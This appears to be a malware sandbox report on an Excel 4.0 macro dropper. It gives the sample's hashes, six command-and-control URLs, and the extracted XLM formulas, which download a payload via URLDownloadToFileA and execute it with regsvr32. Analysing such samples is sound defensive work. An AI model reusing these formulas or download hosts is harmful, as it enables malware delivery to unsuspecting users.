0e8cde3225be4c3f8fc2f74486843c64bc8b3cca41f87144cfb57fb31131b053

General

Target

0e8cde3225be4c3f8fc2f74486843c64bc8b3cca41f87144cfb57fb31131b053
Size

46KB
Sample

241120-nvn6tswclh
MD5

afb8f4da3146c238956ea9895455bf99
SHA1

ee5b84ea9eea9d2b68a0a876657c1884c71ef56f
SHA256

0e8cde3225be4c3f8fc2f74486843c64bc8b3cca41f87144cfb57fb31131b053
SHA512

ea902bbcb527b510003436b4b2a16dc2ca52391d9e12d14f5715ff68a0ddcbc1c5357cbeed2394c71cf7abe53fe06a0269373e8275d8a364b33326955032d4d4
SSDEEP

768:eeoPDOevZCwrvtQazdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2etZF:VoPDFtT5fTR4Lh1NisFYBc3cr+UqVUJ/

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/

https://pakistannakliye.com/wp-admin/dyfAdRkv7/

https://spinoffyarnshop.com/content/YQlmbLaB/

http://murtjizindustry.com/wp-content/yI6/

http://nazrultheking.com/wp-includes/LZ/

http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pakistannakliye.com/wp-admin/dyfAdRkv7/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://spinoffyarnshop.com/content/YQlmbLaB/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://murtjizindustry.com/wp-content/yI6/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nazrultheking.com/wp-includes/LZ/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://goglobetravel.com/wp-admin/1O1Tjr9nHBV/

xlm40.dropper

https://pakistannakliye.com/wp-admin/dyfAdRkv7/

xlm40.dropper

https://spinoffyarnshop.com/content/YQlmbLaB/

xlm40.dropper

http://murtjizindustry.com/wp-content/yI6/

xlm40.dropper

http://nazrultheking.com/wp-includes/LZ/

xlm40.dropper

http://hossaibmojammel.com/wp-content/qFPghprWO0ONxLFA5d/